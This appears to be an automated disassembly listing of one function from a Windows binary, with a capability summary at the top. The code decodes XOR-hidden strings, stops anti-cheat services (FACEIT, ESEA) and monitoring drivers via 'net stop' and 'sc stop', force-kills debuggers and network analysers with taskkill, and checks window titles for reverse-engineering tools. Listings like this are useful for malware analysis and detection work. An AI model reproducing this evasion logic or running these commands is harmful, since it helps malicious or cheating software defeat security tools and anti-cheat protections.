Function at 0x140055634
Capabilities:
Contain obfuscated stackstrings
Delete file
Encode data using xor
Execute command
Set console window title
Terminate process

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rsi
mov qword [rax + 0x18], rdi
push rbp
push r12
push r13
push r14
push r15
sub rsp, 0x1d0
movaps xmmword [rax - 0x38], xmm6
movaps xmmword [rax - 0x48], xmm7
movaps xmmword [rax - 0x58], xmm8
movaps xmmword [rax - 0x68], xmm9
movaps xmmword [rax - 0x78], xmm10
movaps xmmword [rax - 0x88], xmm11
movaps xmmword [rax - 0x98], xmm12
movaps xmmword [rax - 0xa8], xmm13
lea rbp, [rsp + 0x40]
and rbp, 0xffffffffffffffe0
mov rax, qword [0x14017b0c0]
xor rax, rsp
mov qword [rbp + 0x100], rax
lea rcx, str.MODE_CON_COLS55_LINES12
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
call qword [sym.imp.KERNEL32.dll_GetConsoleWindow]
mov rcx, rax
mov r9d, 2
mov r8b, 0xc3
xor edx, edx
call qword [sym.imp.USER32.dll_SetLayeredWindowAttributes]
movups xmm0, xmmword [0x14015dbb8]
movups xmmword [rbp + 0x80], xmm0
movups xmm1, xmmword [0x14015dbc8]
movups xmmword [rbp + 0x90], xmm1
mov eax, dword [0x14015dbd8]
mov dword [rbp + 0xa0], eax
movzx eax, word [0x14015dbdc]
mov word [rbp + 0xa4], ax
mov al, byte [0x14015dbde]
mov byte [rbp + 0xa6], al
xor edi, edi
mov r8d, edi
lea r9, [rbp + 0x80]
lea esi, [rdi + 1]
mov eax, 0x51eb851f
mul r8d
shr edx, 4
movsx eax, dl
imul ecx, eax, 0x32
mov al, r8b
sub al, cl
add al, 0x32
xor byte [r9], al
add r8d, esi
add r9, rsi
cmp r8d, 0x27
jl 0x140055714
lea rcx, [rbp + 0x80]
call qword [sym.imp.KERNEL32.dll_SetConsoleTitleA]
lea rcx, str.net_stop_FACEIT__nul_2_1
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.net_stop_ESEADriver2__nul_2_1
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rbx, str.sc_stop_HTTPDebuggerPro__nul_2_1
mov rcx, rbx
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.sc_stop_KProcessHacker3__nul_2_1
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.sc_stop_KProcessHacker2__nul_2_1
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.sc_stop_KProcessHacker1__nul_2_1
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.sc_stop_wireshark__nul_2_1
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.sc_stop_npf__nul_2_1
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
movdqa xmm0, xmmword [0x14015de90]
movdqu xmmword [rbp + 0x48], xmm0
mov dword [rbp + 0x58], 0x38263c6f
mov dword [rbp + 0x5c], 0x7e696475
mov word [rbp + 0x60], 0x68
mov byte [rbp + 0x62], sil
mov rcx, rdi
mov r14b, 0x41
lea eax, [r14 + rcx]
xor byte [rbp + rcx + 0x48], al
add rcx, rsi
cmp rcx, 0x19
jb 0x1400557de
mov byte [rbp + 0x62], dil
lea rcx, [rbp + 0x48]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
movdqa xmm0, xmmword [0x14015dde0]
movdqu xmmword [rbp + 0x48], xmm0
mov dword [rbp + 0x58], 0x66213727
mov dword [rbp + 0x5c], 0x2d396875
mov dword [rbp + 0x60], 0x62697a35
mov dword [rbp + 0x64], 0x1006f7b
mov rcx, rdi
lea eax, [r14 + rcx]
xor byte [rbp + rcx + 0x48], al
add rcx, rsi
cmp rcx, 0x1e
jb 0x140055829
mov byte [rbp + 0x67], dil
lea rcx, [rbp + 0x48]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
movdqa xmm0, xmmword [0x14015ddd0]
movdqu xmmword [rbp + 0x80], xmm0
movdqa xmm1, xmmword [0x14015de20]
movdqu xmmword [rbp + 0x90], xmm1
mov word [rbp + 0xa0], 0x50
mov byte [rbp + 0xa2], sil
mov rcx, rdi
lea eax, [r14 + rcx]
xor byte [rbp + rcx + 0x80], al
add rcx, rsi
cmp rcx, 0x21
jb 0x14005587b
mov byte [rbp + 0xa2], dil
lea rcx, [rbp + 0x80]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
movdqa xmm0, xmmword [0x14015ddc0]
movdqu xmmword [rbp + 0x80], xmm0
movdqa xmm1, xmmword [0x14015de30]
movdqu xmmword [rbp + 0x90], xmm1
mov word [rbp + 0xa0], 0x50
mov byte [rbp + 0xa2], sil
mov rcx, rdi
lea eax, [r14 + rcx]
xor byte [rbp + rcx + 0x80], al
add rcx, rsi
cmp rcx, 0x21
jb 0x1400558d6
mov byte [rbp + 0xa2], dil
lea rcx, [rbp + 0x80]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
movdqa xmm0, xmmword [0x14015ddc0]
movdqu xmmword [rbp + 0x80], xmm0
movdqa xmm1, xmmword [0x14015de40]
movdqu xmmword [rbp + 0x90], xmm1
mov word [rbp + 0xa0], 0x50
mov byte [rbp + 0xa2], sil
mov rcx, rdi
lea eax, [r14 + rcx]
xor byte [rbp + rcx + 0x80], al
add rcx, rsi
cmp rcx, 0x21
jb 0x140055931
mov byte [rbp + 0xa2], dil
lea rcx, [rbp + 0x80]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
movdqa xmm0, xmmword [0x14015ddc0]
movdqu xmmword [rbp + 0x80], xmm0
movdqa xmm1, xmmword [0x14015de50]
movdqu xmmword [rbp + 0x90], xmm1
mov word [rbp + 0xa0], 0x50
mov byte [rbp + 0xa2], sil
mov rcx, rdi
lea eax, [r14 + rcx]
xor byte [rbp + rcx + 0x80], al
add rcx, rsi
cmp rcx, 0x21
jb 0x14005598c
mov byte [rbp + 0xa2], dil
lea rcx, [rbp + 0x80]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
movdqa xmm0, xmmword [str.2_c71_7h_9__._2_c71_7h]
movdqu xmmword [rbp + 0x48], xmm0
mov dword [rbp + 0x58], 0x3a6d723a
mov dword [rbp + 0x5c], 0x6a773a20
mov dword [rbp + 0x60], 0x6a7c67
mov byte [rbp + 0x64], sil
mov rcx, rdi
lea eax, [r14 + rcx]
xor byte [rbp + rcx + 0x48], al
add rcx, rsi
cmp rcx, 0x1b
jb 0x1400559dd
mov byte [rbp + 0x64], dil
lea rcx, [rbp + 0x48]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
movdqa xmm0, xmmword [0x14015ddf0]
movdqu xmmword [rbp + 0x48], xmm0
mov dword [rbp + 0x58], 0x726d6071
mov word [rbp + 0x5c], 0x64
mov byte [rbp + 0x5e], sil
mov rcx, rdi
lea eax, [r14 + rcx]
xor byte [rbp + rcx + 0x48], al
add rcx, rsi
cmp rcx, 0x15
jb 0x140055a1d
mov byte [rbp + 0x5e], dil
lea rcx, [rbp + 0x48]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.taskkill__f__im_HTTPDebuggerUI.exe__nul_2_1
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.taskkill__f__im_HTTPDebuggerSvc.exe__nul_2_1
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov rcx, rbx
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.taskkill__FI__IMAGENAME_eq_cheatengine___IM___F__T__nul_2_1
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.taskkill__FI__IMAGENAME_eq_httpdebugger___IM___F__T__nul_2_1
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.taskkill__FI__IMAGENAME_eq_processhacker___IM___F__T__nul_2_1
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.taskkill__FI__IMAGENAME_eq_fiddler___IM___F__T__nul_2_1
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.taskkill__FI__IMAGENAME_eq_wireshark___IM___F__T__nul_2_1
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.taskkill__FI__IMAGENAME_eq_rawshark___IM___F__T__nul_2_1
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.taskkill__FI__IMAGENAME_eq_charles___IM___F__T__nul_2_1
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.taskkill__FI__IMAGENAME_eq_cheatengine___IM___F__T__nul_2_1
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.taskkill__FI__IMAGENAME_eq_ida___IM___F__T__nul_2_1
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.taskkill__FI__IMAGENAME_eq_httpdebugger___IM___F__T__nul_2_1
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.taskkill__FI__IMAGENAME_eq_processhacker___IM___F__T__nul_2_1
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov rcx, rbx
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.sc_stop_KProcessHacker3__nul_2_1
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.sc_stop_KProcessHacker2__nul_2_1
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.sc_stop_KProcessHacker1__nul_2_1
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.sc_stop_wireshark__nul_2_1
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.sc_stop_npf__nul_2_1
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea r13, str.Resource_Monitor
mov rdx, r13
xor ecx, ecx
call qword [sym.imp.USER32.dll_FindWindowA]
test rax, rax
jne 0x1400575c0
lea r14, str.The_Wireshark_Network_Analyzer
mov rdx, r14
xor ecx, ecx
call qword [sym.imp.USER32.dll_FindWindowA]
lea r15, str.Progress_Telerik_Fiddler_Web_Debugger
mov rdx, r15
xor ecx, ecx
call qword [sym.imp.USER32.dll_FindWindowA]
lea rdx, str.Fiddler
xor ecx, ecx
call qword [sym.imp.USER32.dll_FindWindowA]
lea rdx, str.HTTP_Debugger
xor ecx, ecx
call qword [sym.imp.USER32.dll_FindWindowA]
lea rbx, str.x64dbg
mov rdx, rbx
xor ecx, ecx
call qword [sym.imp.USER32.dll_FindWindowA]
lea rdx, str.dnSpy
xor ecx, ecx
call qword [sym.imp.USER32.dll_FindWindowA]
lea rdx, str.FolderChangesView
xor ecx, ecx
call qword [sym.imp.USER32.dll_FindWindowA]
lea rdx, str.BinaryNinja
xor ecx, ecx
call qword [sym.imp.USER32.dll_FindWindowA]
lea rdx, [0x14015d964]
xor ecx, ecx
call qword [sym.imp.USER32.dll_FindWindowA]
lea rdx, str.Cheat_Engine_7.2
xor ecx, ecx
call qword [sym.imp.USER32.dll_FindWindowA]
lea rdx, str.Cheat_Engine_7.1
xor ecx, ecx
call qword [sym.imp.USER32.dll_FindWindowA]
lea rdx, str.Cheat_Engine_7.0
xor ecx, ecx
call qword [sym.imp.USER32.dll_FindWindowA]
lea rdx, str.Cheat_Engine_6.9
xor ecx, ecx
call qword [sym.imp.USER32.dll_FindWindowA]
lea rdx, str.Cheat_Engine_7.3
xor ecx, ecx
call qword [sym.imp.USER32.dll_FindWindowA]
lea rdx, str.Cheat_Engine_7.4
xor ecx, ecx
call qword [sym.imp.USER32.dll_FindWindowA]
lea rdx, str.Cheat_Engine_7.5
xor ecx, ecx
call qword [sym.imp.USER32.dll_FindWindowA]
lea rdx, str.Cheat_Engine_7.6
xor ecx, ecx
call qword [sym.imp.USER32.dll_FindWindowA]
lea rdx, [0x14015da24]
xor ecx, ecx
call qword [sym.imp.USER32.dll_FindWindowA]
lea rdx, str.Ida_Pro
xor ecx, ecx
call qword [sym.imp.USER32.dll_FindWindowA]
lea rdx, str.Ida_Freeware
xor ecx, ecx
call qword [sym.imp.USER32.dll_FindWindowA]
lea rdx, str.HTTP_Debugger_Pro
xor ecx, ecx
call qword [sym.imp.USER32.dll_FindWindowA]
lea rdx, str.Process_Hacker
xor ecx, ecx
call qword [sym.imp.USER32.dll_FindWindowA]
lea rdx, str.Process_Hacker_2
xor ecx, ecx
call qword [sym.imp.USER32.dll_FindWindowA]
lea rdx, str.OllyDbg
xor ecx, ecx
call qword [sym.imp.USER32.dll_FindWindowA]
mov rdx, r14
xor ecx, ecx
call qword [sym.imp.USER32.dll_FindWindowA]
mov rdx, r15
xor ecx, ecx
call qword [sym.imp.USER32.dll_FindWindowA]
test rax, rax
je 0x140055ce4
call fcn.140054db8
mov rdx, rbx
xor ecx, ecx
call qword [sym.imp.USER32.dll_FindWindowA]
lea r12, str.KsDumper
mov rdx, r12
xor ecx, ecx
call qword [sym.imp.USER32.dll_FindWindowA]
mov rdx, r13
xor ecx, ecx
call qword [sym.imp.USER32.dll_FindWindowA]
test rax, rax
jne 0x1400575c0
mov rdx, r14
xor ecx, ecx
call qword [sym.imp.USER32.dll_FindWindowA]
test rax, rax
je 0x140055d2a
call fcn.140054db8
mov rdx, r15
xor ecx, ecx
call qword [sym.imp.USER32.dll_FindWindowA]
test rax, rax
je 0x140055d3f
call fcn.140054db8
lea rdx, str.Fiddler
xor ecx, ecx
call qword [sym.imp.USER32.dll_FindWindowA]
test rax, rax
je 0x140055d58
call fcn.140054db8
lea rdx, str.HTTP_Debugger
xor ecx, ecx
call qword [sym.imp.USER32.dll_FindWindowA]
test rax, rax
je 0x140055d71
call fcn.140054db8
mov rdx, rbx
xor ecx, ecx
call qword [sym.imp.USER32.dll_FindWindowA]
test rax, rax
je 0x140055d86
call fcn.140054db8
lea rdx, str.dnSpy
xor ecx, ecx
call qword [sym.imp.USER32.dll_FindWindowA]
test rax, rax
je 0x140055d9f
call fcn.140054db8
lea rdx, str.FolderChangesView
xor ecx, ecx
call qword [sym.imp.USER32.dll_FindWindowA]
test rax, rax
je 0x140055db8
call fcn.140054db8
lea rdx, str.BinaryNinja
xor ecx, ecx
call qword [sym.imp.USER32.dll_FindWindowA]
test rax, rax
je 0x140055dd1
call fcn.140054db8
lea rdx, [0x14015d964]
xor ecx, ecx
call qword [sym.imp.USER32.dll_FindWindowA]
test rax, rax
je 0x140055dea
call fcn.140054db8
lea rdx, str.Cheat_Engine_7.2
xor ecx, ecx
call qword [sym.imp.USER32.dll_FindWindowA]
test rax, rax
je 0x140055e03
call fcn.140054db8
lea rdx, str.Cheat_Engine_7.1
xor ecx, ecx
call qword [sym.imp.USER32.dll_FindWindowA]
test rax, rax
je 0x140055e1c
call fcn.140054db8
lea rdx, str.Cheat_Engine_7.0
xor ecx, ecx
call qword [sym.imp.USER32.dll_FindWindowA]
test rax, rax
je 0x140055e35
call fcn.140054db8
lea rdx, str.Cheat_Engine_6.9
xor ecx, ecx
call qword [sym.imp.USER32.dll_FindWindowA]
test rax, rax
je 0x140055e4e
call fcn.140054db8
lea rdx, str.Cheat_Engine_7.3
xor ecx, ecx
call qword [sym.imp.USER32.dll_FindWindowA]
test rax, rax
je 0x140055e67
call fcn.140054db8
lea rdx, str.Cheat_Engine_7.4
xor ecx, ecx
call qword [sym.imp.USER32.dll_FindWindowA]
test rax, rax
je 0x140055e80
call fcn.140054db8
lea rdx, str.Cheat_Engine_7.5
xor ecx, ecx
call qword [sym.imp.USER32.dll_FindWindowA]
test rax, rax
je 0x140055e99
call fcn.140054db8
lea rdx, str.Cheat_Engine_7.6
xor ecx, ecx
call qword [sym.imp.USER32.dll_FindWindowA]
test rax, rax
je 0x140055eb2
call fcn.140054db8
lea rdx, [0x14015da24]
xor ecx, ecx
call qword [sym.imp.USER32.dll_FindWindowA]
test rax, rax
je 0x140055ecb
call fcn.140054db8
lea rdx, str.Ida_Pro
xor ecx, ecx
call qword [sym.imp.USER32.dll_FindWindowA]
test rax, rax
je 0x140055ee4
call fcn.140054db8
lea rdx, str.Ida_Freeware
xor ecx, ecx
call qword [sym.imp.USER32.dll_FindWindowA]
test rax, rax
je 0x140055efd
call fcn.140054db8
lea rdx, str.HTTP_Debugger_Pro
xor ecx, ecx
call qword [sym.imp.USER32.dll_FindWindowA]
test rax, rax
je 0x140055f16
call fcn.140054db8
lea rdx, str.Process_Hacker
xor ecx, ecx
call qword [sym.imp.USER32.dll_FindWindowA]
test rax, rax
je 0x140055f2f
call fcn.140054db8
lea rdx, str.Process_Hacker_2
xor ecx, ecx
call qword [sym.imp.USER32.dll_FindWindowA]
test rax, rax
je 0x140055f48
call fcn.140054db8
lea rdx, str.OllyDbg
xor ecx, ecx
call qword [sym.imp.USER32.dll_FindWindowA]
test rax, rax
je 0x140055f61
call fcn.140054db8
mov rdx, r14
xor ecx, ecx
call qword [sym.imp.USER32.dll_FindWindowA]
test rax, rax
je 0x140055f76
call fcn.140054db8
mov rdx, r15
xor ecx, ecx
call qword [sym.imp.USER32.dll_FindWindowA]
test rax, rax
je 0x140055f8b
call fcn.140054db8
mov rdx, rbx
xor ecx, ecx
call qword [sym.imp.USER32.dll_FindWindowA]
test rax, rax
je 0x140055fa0
call fcn.140054db8
mov rdx, r12
xor ecx, ecx
call qword [sym.imp.USER32.dll_FindWindowA]
test rax, rax
je 0x140055fb5
call fcn.140054db8
mov rdx, r13
xor ecx, ecx
call qword [sym.imp.USER32.dll_FindWindowA]
test rax, rax
jne 0x1400575c0
mov rdx, r14
xor ecx, ecx
call qword [sym.imp.USER32.dll_FindWindowA]
test rax, rax
je 0x140055fde
call fcn.140052790
mov rdx, r15
xor ecx, ecx
call qword [sym.imp.USER32.dll_FindWindowA]
test rax, rax
je 0x140055ff3
call fcn.140052790
lea rdx, str.Fiddler
xor ecx, ecx
call qword [sym.imp.USER32.dll_FindWindowA]
test rax, rax
je 0x14005600c
call fcn.140052790
lea rdx, str.HTTP_Debugger
xor ecx, ecx
call qword [sym.imp.USER32.dll_FindWindowA]
test rax, rax
je 0x140056025
call fcn.140052790
mov rdx, rbx
xor ecx, ecx
call qword [sym.imp.USER32.dll_FindWindowA]
test rax, rax
je 0x14005603a
call fcn.140052790
lea rdx, str.dnSpy
xor ecx, ecx
call qword [sym.imp.USER32.dll_FindWindowA]
test rax, rax
je 0x140056053
call fcn.140052790
lea rdx, str.FolderChangesView
xor ecx, ecx
call qword [sym.imp.USER32.dll_FindWindowA]
test rax, rax
je 0x14005606c
call fcn.140052790
lea rdx, str.BinaryNinja
xor ecx, ecx
call qword [sym.imp.USER32.dll_FindWindowA]
test rax, rax
je 0x140056085
call fcn.140052790
lea rdx, [0x14015d964]
xor ecx, ecx
call qword [sym.imp.USER32.dll_FindWindowA]
test rax, rax
je 0x14005609e
call fcn.140052790
lea rdx, str.Cheat_Engine_7.2
xor ecx, ecx
call qword [sym.imp.USER32.dll_FindWindowA]
test rax, rax
je 0x1400560b7
call fcn.140052790
lea rdx, str.Cheat_Engine_7.1
xor ecx, ecx
call qword [sym.imp.USER32.dll_FindWindowA]
test rax, rax
je 0x1400560d0
call fcn.140052790
lea rdx, str.Cheat_Engine_7.0
xor ecx, ecx
call qword [sym.imp.USER32.dll_FindWindowA]
test rax, rax
je 0x1400560e9
call fcn.140052790
lea rdx, str.Cheat_Engine_6.9
xor ecx, ecx
call qword [sym.imp.USER32.dll_FindWindowA]
test rax, rax
je 0x140056102
call fcn.140052790
lea rdx, str.Cheat_Engine_7.3
xor ecx, ecx
call qword [sym.imp.USER32.dll_FindWindowA]
test rax, rax
je 0x14005611b
call fcn.140052790
lea rdx, str.Cheat_Engine_7.4
xor ecx, ecx
call qword [sym.imp.USER32.dll_FindWindowA]
test rax, rax
je 0x140056134
call fcn.140052790
lea rdx, str.Cheat_Engine_7.5
xor ecx, ecx
call qword [sym.imp.USER32.dll_FindWindowA]
test rax, rax
je 0x14005614d
call fcn.140052790
lea rdx, str.Cheat_Engine_7.6
xor ecx, ecx
call qword [sym.imp.USER32.dll_FindWindowA]
test rax, rax
je 0x140056166
call fcn.140052790
lea rdx, [0x14015da24]
xor ecx, ecx
call qword [sym.imp.USER32.dll_FindWindowA]
test rax, rax
je 0x14005617f
call fcn.140052790
lea rdx, str.Ida_Pro
xor ecx, ecx
call qword [sym.imp.USER32.dll_FindWindowA]
test rax, rax
je 0x140056198
call fcn.140052790
lea rdx, str.Ida_Freeware
xor ecx, ecx
call qword [sym.imp.USER32.dll_FindWindowA]
test rax, rax
je 0x1400561b1
call fcn.140052790
lea rdx, str.HTTP_Debugger_Pro
xor ecx, ecx
call qword [sym.imp.USER32.dll_FindWindowA]
test rax, rax
je 0x1400561ca
call fcn.140052790
lea rdx, str.Process_Hacker
xor ecx, ecx
call qword [sym.imp.USER32.dll_FindWindowA]
test rax, rax
je 0x1400561e3
call fcn.140052790
lea rdx, str.Process_Hacker_2
xor ecx, ecx
call qword [sym.imp.USER32.dll_FindWindowA]
test rax, rax
je 0x1400561fc
call fcn.140052790
lea rdx, str.OllyDbg
xor ecx, ecx
call qword [sym.imp.USER32.dll_FindWindowA]
test rax, rax
je 0x140056215
call fcn.140052790
mov rdx, r14
xor ecx, ecx
call qword [sym.imp.USER32.dll_FindWindowA]
test rax, rax
je 0x14005622a
call fcn.140052790
mov rdx, r15
xor ecx, ecx
call qword [sym.imp.USER32.dll_FindWindowA]
test rax, rax
je 0x14005623f
call fcn.140052790
mov rdx, rbx
xor ecx, ecx
call qword [sym.imp.USER32.dll_FindWindowA]
test rax, rax
je 0x140056254
call fcn.140052790
mov rdx, r12
xor ecx, ecx
call qword [sym.imp.USER32.dll_FindWindowA]
test rax, rax
je 0x140056269
call fcn.140052790
lea rdx, str.KsDumperClient.exe
xor ecx, ecx
call qword [sym.imp.USER32.dll_FindWindowA]
test rax, rax
je 0x140056282
call fcn.140054424
lea rdx, str.HTTPDebuggerUI.exe
xor ecx, ecx
call qword [sym.imp.USER32.dll_FindWindowA]
test rax, rax
je 0x14005629b
call fcn.140054424
lea rdx, str.HTTPDebuggerSvc.exe
xor ecx, ecx
call qword [sym.imp.USER32.dll_FindWindowA]
test rax, rax
je 0x1400562b4
call fcn.140054424
lea rdx, str.FileGrab.exe
xor ecx, ecx
call qword [sym.imp.USER32.dll_FindWindowA]
test rax, rax
je 0x1400562cd
call fcn.140054424
lea rdx, str.FolderChangesView.exe
xor ecx, ecx
call qword [sym.imp.USER32.dll_FindWindowA]
test rax, rax
je 0x1400562e6
call fcn.140054424
lea rdx, str.ProcessHacker.exe
xor ecx, ecx
call qword [sym.imp.USER32.dll_FindWindowA]
test rax, rax
je 0x1400562ff
call fcn.140054424
lea rdx, str.procmon.exe
xor ecx, ecx
call qword [sym.imp.USER32.dll_FindWindowA]
test rax, rax
je 0x140056318
call fcn.140054424
lea rdx, str.idaq.exe
xor ecx, ecx
call qword [sym.imp.USER32.dll_FindWindowA]
test rax, rax
je 0x140056331
call fcn.140054424
lea rdx, str.idaq64.exe
xor ecx, ecx
call qword [sym.imp.USER32.dll_FindWindowA]
test rax, rax
je 0x14005634a
call fcn.140054424
lea rdx, str.Wireshark.exe
xor ecx, ecx
call qword [sym.imp.USER32.dll_FindWindowA]
test rax, rax
je 0x140056363
call fcn.140054424
lea rdx, str.Fiddler.exe
xor ecx, ecx
call qword [sym.imp.USER32.dll_FindWindowA]
test rax, rax
je 0x14005637c
call fcn.140054424
lea rdx, str.Xenos64.exe
xor ecx, ecx
call qword [sym.imp.USER32.dll_FindWindowA]
test rax, rax
je 0x140056395
call fcn.140054424
lea rdx, str.Cheat_Engine.exe
xor ecx, ecx
call qword [sym.imp.USER32.dll_FindWindowA]
test rax, rax
je 0x1400563ae
call fcn.140054424
lea rdx, str.HTTP_Debugger_Windows_Service__32_bit_.exe
xor ecx, ecx
call qword [sym.imp.USER32.dll_FindWindowA]
test rax, rax
je 0x1400563c7
call fcn.140054424
lea rdx, str.KsDumper.exe
xor ecx, ecx
call qword [sym.imp.USER32.dll_FindWindowA]
test rax, rax
je 0x1400563e0
call fcn.140054424
lea rdx, str.x64dbg.exe
xor ecx, ecx
call qword [sym.imp.USER32.dll_FindWindowA]
test rax, rax
je 0x1400563f9
call fcn.140054424
lea rdx, str.ProcessHacker.exe
xor ecx, ecx
call qword [sym.imp.USER32.dll_FindWindowA]
test rax, rax
je 0x140056412
call fcn.140054424
lea rdx, str.IDA:_Quick_start
xor ecx, ecx
call qword [sym.imp.USER32.dll_FindWindowA]
test rax, rax
je 0x14005642b
call fcn.140054424
lea rdx, str.Memory_Viewer
xor ecx, ecx
call qword [sym.imp.USER32.dll_FindWindowA]
test rax, rax
je 0x140056444
call fcn.140054424
lea rdx, str.Process_List
xor ecx, ecx
call qword [sym.imp.USER32.dll_FindWindowA]
test rax, rax
je 0x14005645d
call fcn.140054424
mov rdx, r12
xor ecx, ecx
call qword [sym.imp.USER32.dll_FindWindowA]
test rax, rax
je 0x140056472
call fcn.140054424
lea rdx, str.HTTP_Debugger
xor ecx, ecx
call qword [sym.imp.USER32.dll_FindWindowA]
test rax, rax
je 0x14005648b
call fcn.140054424
lea rdx, str.OllyDbg
xor ecx, ecx
call qword [sym.imp.USER32.dll_FindWindowA]
test rax, rax
je 0x1400564a4
call fcn.140054424
mov qword [rbp], 0xf3c
lea rcx, [rbp]
call fcn.140050d60
mov rdx, r13
xor ecx, ecx
call qword [sym.imp.USER32.dll_FindWindowA]
test rax, rax
jne 0x1400575c0
mov rdx, r14
xor ecx, ecx
call qword [sym.imp.USER32.dll_FindWindowA]
test rax, rax
je 0x1400564de
call fcn.140054424
mov rdx, r15
xor ecx, ecx
call qword [sym.imp.USER32.dll_FindWindowA]
test rax, rax
je 0x1400564f3
call fcn.140054424
lea rdx, str.Fiddler
xor ecx, ecx
call qword [sym.imp.USER32.dll_FindWindowA]
test rax, rax
je 0x14005650c
call fcn.140054424
lea rdx, str.HTTP_Debugger
xor ecx, ecx
call qword [sym.imp.USER32.dll_FindWindowA]
test rax, rax
je 0x140056525
call fcn.140054424
mov rdx, rbx
xor ecx, ecx
call qword [sym.imp.USER32.dll_FindWindowA]
test rax, rax
je 0x14005653a
call fcn.140054424
lea rdx, str.FileGrab
xor ecx, ecx
call qword [sym.imp.USER32.dll_FindWindowA]
test rax, rax
je 0x140056553
call fcn.140054424
lea rdx, str.dnSpy
xor ecx, ecx
call qword [sym.imp.USER32.dll_FindWindowA]
test rax, rax
je 0x14005656c
call fcn.140054424
lea rdx, str.FolderChangesView
xor ecx, ecx
call qword [sym.imp.USER32.dll_FindWindowA]
test rax, rax
je 0x140056585
call fcn.140054424
lea rdx, str.BinaryNinja
xor ecx, ecx
call qword [sym.imp.USER32.dll_FindWindowA]
test rax, rax
je 0x14005659e
call fcn.140054424
lea rdx, [0x14015d964]
xor ecx, ecx
call qword [sym.imp.USER32.dll_FindWindowA]
test rax, rax
je 0x1400565b7
call fcn.140054424
lea rdx, str.Cheat_Engine_7.2
xor ecx, ecx
call qword [sym.imp.USER32.dll_FindWindowA]
test rax, rax
je 0x1400565d0
call fcn.140054424
lea rdx, str.Cheat_Engine_7.1
xor ecx, ecx
call qword [sym.imp.USER32.dll_FindWindowA]
test rax, rax
je 0x1400565e9
call fcn.140054424
lea rdx, str.Cheat_Engine_7.0
xor ecx, ecx
call qword [sym.imp.USER32.dll_FindWindowA]
test rax, rax
je 0x140056602
call fcn.140054424
lea rdx, str.Cheat_Engine_6.9
xor ecx, ecx
call qword [sym.imp.USER32.dll_FindWindowA]
test rax, rax
je 0x14005661b
call fcn.140054424
lea rdx, str.Cheat_Engine_7.3
xor ecx, ecx
call qword [sym.imp.USER32.dll_FindWindowA]
test rax, rax
je 0x140056634
call fcn.140054424
lea rdx, str.Cheat_Engine_7.4
xor ecx, ecx
call qword [sym.imp.USER32.dll_FindWindowA]
test rax, rax
je 0x14005664d
call fcn.140054424
lea rdx, str.Cheat_Engine_7.5
xor ecx, ecx
call qword [sym.imp.USER32.dll_FindWindowA]
test rax, rax
je 0x140056666
call fcn.140054424
lea rdx, str.Cheat_Engine_7.6
xor ecx, ecx
call qword [sym.imp.USER32.dll_FindWindowA]
test rax, rax
je 0x14005667f
call fcn.140054424
lea rdx, [0x14015da24]
xor ecx, ecx
call qword [sym.imp.USER32.dll_FindWindowA]
test rax, rax
je 0x140056698
call fcn.140054424
lea rdx, str.Ida_Pro
xor ecx, ecx
call qword [sym.imp.USER32.dll_FindWindowA]
test rax, rax
je 0x1400566b1
call fcn.140054424
lea rdx, str.Ida_Freeware
xor ecx, ecx
call qword [sym.imp.USER32.dll_FindWindowA]
test rax, rax
je 0x1400566ca
call fcn.140054424
lea rdx, str.HTTP_Debugger_Pro
xor ecx, ecx
call qword [sym.imp.USER32.dll_FindWindowA]
test rax, rax
je 0x1400566e3
call fcn.140054424
lea rdx, str.Process_Hacker
xor ecx, ecx
call qword [sym.imp.USER32.dll_FindWindowA]
test rax, rax
je 0x1400566fc
call fcn.140054424
lea rdx, str.Process_Hacker_2
xor ecx, ecx
call qword [sym.imp.USER32.dll_FindWindowA]
test rax, rax
je 0x140056715
call fcn.140054424
